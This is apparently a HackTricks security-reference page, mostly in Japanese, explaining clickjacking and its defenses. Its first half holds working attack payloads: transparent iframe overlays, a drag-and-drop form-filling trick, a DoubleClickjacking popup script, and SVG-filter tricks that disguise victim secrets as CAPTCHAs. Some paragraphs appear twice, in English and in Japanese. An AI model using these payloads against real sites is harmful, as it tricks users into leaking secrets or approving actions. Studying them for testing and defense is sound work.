Clickjacking

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Clickjackingとは

clickjacking攻撃では、ユーザーだまされて見えないか別の要素に偽装されたウェブページ上の要素クリックしてしまうことがあります。この操作は、マルウェアのダウンロード、悪意あるウェブページへのリダイレクト、認証情報や機密情報の提供、金銭の送金、製品のオンライン購入など、ユーザーにとって意図しない結果をもたらす可能性があります。

フォーム事前入力のトリック

場合によっては、ページを読み込む際にGETパラメータを使ってフォームのフィールドの値を埋めることが可能です。攻撃者はこの挙動を悪用して任意のデータでフォームを埋め、clickjackingペイロードを送ってユーザーにSubmitボタンを押させることができます。

Drag&Dropでフォームを埋める

ユーザーにフォームを入力してもらう必要があるが、特定の情報(例えばあなたが知っているメールアドレスや特定のパスワード)を書いてほしいと直接頼みたくない場合、ユーザーに何かをDrag&Dropさせるだけで、その操作によりあなたが制御するデータを書き込ませることができます。例はthis example

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

マルチステップ Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

もし、ある要素をクリックすることで発生するXSS attack that requires a user to clickを確認していて、かつそのページがClickjackingに脆弱であれば、ユーザを騙してボタンやリンクをクリックさせるためにそれを悪用できます。
例:
アカウントの一部のプライベートな詳細にself XSSを見つけた(それらはあなただけが設定・閲覧できる詳細)。これらの詳細を設定するformのページがClickjackingに脆弱で、GETパラメータでformprepopulateできる場合があります。
攻撃者はそのページに対してClickjacking攻撃を仕込み、formXSS payloadprepopulatingしてuserを騙してSubmitさせることができます。したがって、**フォームが送信されたとき(when the form is submitted)**に値が変更されると、user will execute the XSS

DoubleClickjacking

Firstly explained in this post、この手法は被害者に特定の位置に配置したカスタムページのボタンをダブルクリックさせ、mousedown と onclick イベント間のタイミング差を利用してダブルクリック中に victim page を読み込み、victim actually clicks a legit button in the victim pageようにします。

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

この手法は clickjacking に対するあらゆる保護を回避して被害者を被害者ページ上の1箇所をクリックさせることを可能にします。したがって攻撃者は、**1回のクリックだけで実行できる sensitive actions(例: OAuth prompts accepting permissions のようなもの)**を見つける必要があります。

一部のPoCsはiframesを完全に使わず、カーソルの下に整列したbackground popupを維持します。攻撃者ページはmousemoveを追跡し、小さなポップアップ(window.open)をsame-originの間にmoveTo()で移動させます;位置が合うと、次のクリックが実際のボタンに当たるようにtarget originへリダイレクトします。cross‑originのmoveTo()はブロックされるため、ポップアップは再配置のため一時的に攻撃者オリジンへ遷移させられ、その後location/history.back()でターゲットに戻します。クリック時にターゲットを前面に出すには、攻撃者はwith the same window nameでポップアップを再度開き、URLを変えずに前面に持ってくることができます。

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

最新の Chromium/WebKit/Gecko ビルドでは、CSS filter:url(#id) をクロスオリジンの iframe に適用できるようになっています。iframe のラスタライズされたピクセルは SVG フィルタグラフに SourceGraphic として公開されるため、feDisplacementMapfeBlendfeCompositefeColorMatrixfeTilefeMorphology などのプリミティブにより、攻撃者が DOM に触れることなくユーザが見る前に被害者の UI を任意に歪めることができます。簡単な Liquid-Glass スタイルのフィルタは次のようになります:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Useful primitives: feImage は攻撃者のビットマップ(例: オーバーレイ、ディスプレースメントマップ)を読み込む; feFlood は一定色のマットを生成する; feOffset/feGaussianBlur はハイライトを調整する; feDisplacementMap はテキストを屈折/ワープさせる; feComposite operator="arithmetic" は任意のチャネルごとの算術演算を実装する(r = k1*i1*i2 + k2*i1 + k3*i2 + k4)、これはコントラスト強調、マスキング、AND/OR 演算に十分である; feTile はピクセルプローブを切り取り・複製する; feMorphology はストロークを膨張/収縮させる; feColorMatrix は輝度をアルファに移して精密なマスクを作る。

シークレットをCAPTCHA風のプロンプトに歪める

フレーム可能なエンドポイントがシークレット(トークン、リセットコード、APIキー)をレンダリングする場合、攻撃者はそれらをCAPTCHAに似せて歪め、手動での転記を強要できる:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

歪んだピクセルは、攻撃者が制御する <input> 内でユーザを“captcha を解いている”と錯覚させ、その pattern が実際の被害者の秘密を強制します。

被害者入力の再文脈化

フィルタはユーザのキー入力を保持したまま、プレースホルダ/バリデーションのテキストを外科的に削除できます。ワークフローの一例:

  1. feComposite operator="arithmetic" k2≈4 は明るさを増幅し、灰色の補助テキストが白く飽和するようにします。
  2. feTile は作業領域を入力の矩形に制限します。
  3. feMorphology operator="erode" は被害者が入力した暗い字形を太らせ、result="thick" で保存します。
  4. feFlood が白いプレートを作り、feBlend mode="difference"thick と組み合わせ、二番目の feComposite k2≈100 がそれを鮮明なルママットに変えます。
  5. feColorMatrix はそのルマをアルファに移し、feComposite in="SourceGraphic" operator="in" によりユーザが入力した字形だけを保持します。
  6. さらに feBlend in2="white" と薄いクロップを加えるとクリーンなテキストボックスになり、その後攻撃者は自分の HTML ラベル(例: “Enter your email”)を重ねますが、隠された iframe は依然として被害者オリジンのパスワードポリシーを強制します。

Safari は feTile が苦手で、同じ効果は WebKit-only payloads に対して feFlood + feColorMatrix + feComposite から作った空間的マットで再現できます。

ピクセルプローブ、ロジック、ステートマシン

feTile で 2–4px の領域を切り取り、それをビューポートの 100% にタイルすると、攻撃者はサンプリングした色を全フレームのテクスチャに変換し、それを閾値処理してブールマスクにできます:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

For arbitrary colors, a feFlood reference (e.g., #0B57D0) plus feBlend mode="difference" and another arithmetic composite (k2≈100, k4 as tolerance) outputs white only when the sampled pixel matches the target shade. Feeding these masks into feComposite with tuned k1..k4 yields logic gates: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending against white. Chaining gates makes a full adder inside the filter graph, proving the pipeline is functionally complete.

任意の色について、feFlood リファレンス(例: #0B57D0)に feBlend mode="difference" と別の算術合成(k2≈100k4 を許容値として)を組み合わせると、サンプリングしたピクセルがターゲットの色合いと一致する場合にのみ白を出力します。これらのマスクを調整した k1..k4 と共に feComposite に入力すると論理ゲートが得られます: k1=1 による AND、k2=k3=1 による OR、feBlend mode="difference" による XOR、白とブレンドすることでの NOT。ゲートを連結するとフィルタグラフ内にフルアダダーが構築され、パイプラインが関数的に完全であることが示されます。

Attackers can therefore read UI state without JavaScript. Example booleans from a modal workflow:

そのため攻撃者は JavaScript を使わずに UI の状態を読み取ることができます。モーダルワークフローからの例示的なブール値:

  • D (dialog visible): probe a darkened corner and test against white.

  • L (dialog loaded): probe the coordinates where the button appears once ready.

  • C (checkbox checked): compare the checkbox pixel against the active blue #0B57D0.

  • R (red success/failure banner): use feMorphology and red thresholds inside the banner rectangle.

  • D (dialog visible): 暗くした角をプローブし、白と比較する。

  • L (dialog loaded): ボタンが準備できたときに表示される座標をプローブする。

  • C (checkbox checked): チェックボックスのピクセルをアクティブな青 #0B57D0 と比較する。

  • R (red success/failure banner): バナー矩形内で feMorphology と赤色閾値を使う。

Each detected state gates a different overlay bitmap embedded via feImage xlink:href="data:...". Masking those bitmaps with D, L, C, R keeps the overlays synchronized with the real dialog and walks the victim through multi-step workflows (password resets, approvals, destructive confirmations) without ever exposing the DOM.

検出された各状態は、feImage xlink:href="data:..." で埋め込まれた異なるオーバーレイビットマップをゲーティングします。これらのビットマップを D, L, C, R でマスクすることで、オーバーレイを実際のダイアログと同期させ、DOM を一切露出させずに被害者を複数段階のワークフロー(パスワードリセット、承認、破壊的確認など)に導くことができます。

Sandboxed iframe Basic Auth dialog (no allow-popups)

サンドボックス化された iframe Basic Auth dialog (no allow-popups)

A sandboxed iframe without allow-popups can still surface a browser-controlled HTTP Basic Authentication modal when a load returns 401 with WWW-Authenticate. The dialog is spawned by the browser’s networking/auth layer (not JS alert/prompt/confirm), so popup restrictions in the sandbox do not suppress it. If you can script the iframe (e.g., sandbox="allow-scripts") you can navigate it to any endpoint issuing a Basic Auth challenge:

allow-popups を持たないサンドボックス化された iframe でも、ロードが 401 を返し WWW-Authenticate を含む場合、ブラウザが制御する HTTP Basic Authentication modal を表示させることができます。このダイアログはブラウザの networking/auth レイヤーによって生成される(JS の alert/prompt/confirm ではない)ため、サンドボックスのポップアップ制限はこれを抑制しません。iframe をスクリプトで操作できる場合(例: sandbox="allow-scripts")は、Basic Auth チャレンジを返す任意のエンドポイントへナビゲートできます:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

レスポンスが到着すると、ポップアップが禁止されていてもブラウザが認証情報の入力を促す。信頼されたオリジンをこの手法でフレーミングすると、UI redress/フィッシングを可能にする:‘sandboxed’ ウィジェット内の予期しないモーダルプロンプトはユーザーを混乱させたり、password managers に保存された認証情報を提示させたりすることがある。

Browser extensions: DOM-based autofill clickjacking

被害者ページをiframe化する以外に、攻撃者はページに注入された browser extension の UI 要素を狙うことができる。password managers はフォーカスされた inputs の近くに autofill ドロップダウンを表示する。攻撃者が制御するフィールドにフォーカスし、extension のドロップダウンを隠す/覆い隠す(opacity/overlay/top-layer のトリック)ことで、強制されたユーザークリックが保存された項目を選択し、機密データを攻撃者制御の入力へ入力させることができる。このバリアントは iframe の露出を必要とせず、完全に DOM/CSS の操作だけで動作する。

A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where XSS on the relying-party domain allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.

Strategies to Mitigate Clickjacking

Client-Side Defenses

クライアント側で実行されるスクリプトは Clickjacking を防ぐために次のような処理を行える:

  • アプリケーションウィンドウが最上位ウィンドウであることを確認する。
  • すべてのフレームを可視化する。
  • 不可視フレームへのクリックを防ぐ。
  • 潜在的な Clickjacking の試行を検出してユーザーに警告する。

しかし、これらのフレームバスター用スクリプトは回避される可能性がある:

  • Browsers’ Security Settings: 一部のブラウザはセキュリティ設定や JavaScript 未サポートを理由にこれらのスクリプトをブロックすることがある。
  • HTML5 iframe sandbox Attribute: 攻撃者は sandbox 属性を allow-forms または allow-scripts の値で(allow-top-navigation を付けずに)設定することでフレームバスターを無効化できる。これにより iframe は自分がトップウィンドウかどうかを検証できなくなる。例えば、
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

allow-formsallow-scripts の値は、トップレベルのナビゲーションを無効にしつつ、<iframe> 内での操作を可能にします。ターゲットサイトの想定される機能を維持するため、攻撃の種類によっては allow-same-originallow-modals といった追加の許可が必要になることがあります。どの許可を有効にすべきかは、ブラウザのコンソールメッセージが判断の手がかりになります。

サーバー側の防御

X-Frame-Options

X-Frame-Options HTTP レスポンスヘッダー は、ページを <frame><iframe> 内でレンダリングする正当性をブラウザに伝え、Clickjacking の防止に役立ちます:

  • X-Frame-Options: deny - どのドメインもコンテンツをフレーム化できません。
  • X-Frame-Options: sameorigin - 現在のサイトのみがコンテンツをフレーム化できます。
  • X-Frame-Options: allow-from https://trusted.com - 指定した ‘uri’ のみがページをフレーム化できます。
  • 注意点: ブラウザがこのディレクティブをサポートしていない場合は機能しない可能性があります。ブラウザによっては CSP の frame-ancestors ディレクティブを優先するものもあります。

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors ディレクティブ(CSP) は Clickjacking 保護の推奨方法です:

  • frame-ancestors 'none' - X-Frame-Options: deny と同様。
  • frame-ancestors 'self' - X-Frame-Options: sameorigin と同様。
  • frame-ancestors trusted.com - X-Frame-Options: allow-from と同様。

例えば、次の CSP は同一ドメインからのフレームのみを許可します:

Content-Security-Policy: frame-ancestors 'self';

詳細と複雑な例は frame-ancestors CSP documentationMozilla’s CSP frame-ancestors documentation を参照してください。

Content Security Policy (CSP) における child-srcframe-src

Content Security Policy (CSP) は、どのソースからコンテンツを読み込むことをブラウザに許可するかを指定することで、Clickjacking やその他のコード注入攻撃の防止に役立つセキュリティ対策です。

frame-src ディレクティブ

  • フレームの有効なソースを定義します。
  • default-src ディレクティブよりも具体的です。
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

このポリシーは同一オリジン (self) と https://trusted-website.com からのフレームを許可します。

child-src ディレクティブ

  • CSP level 2で導入され、web workers と frames の有効なソースを指定します。
  • frame-src および worker-src のフォールバックとして機能します。
Content-Security-Policy: child-src 'self' https://trusted-website.com;

このポリシーは、同一オリジン(self)および https://trusted-website.com からのフレームとワーカーを許可します。

使用上の注意:

  • 廃止予定: child-src は frame-src および worker-src に置き換えられつつあります。
  • フォールバック動作: frame-src が存在しない場合、child-src がフレームのフォールバックとして使用されます。両方が存在しない場合は default-src が使用されます。
  • 厳格なソース定義: ディレクティブには信頼できるソースのみを含め、悪用を防いでください。

JavaScript Frame-Breaking Scripts

完全ではありませんが、JavaScript ベースの frame-busting スクリプトを用いて、ウェブページがフレームに表示されるのを防ぐことができます。例:

if (top !== self) {
top.location = self.location
}

Anti-CSRF Tokens の利用

  • Token Validation: ウェブアプリケーションで anti-CSRF tokens を使用し、state-changing requests がユーザーの意図によるものであり Clickjacked ページを通じて行われていないことを確認します。

参考

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする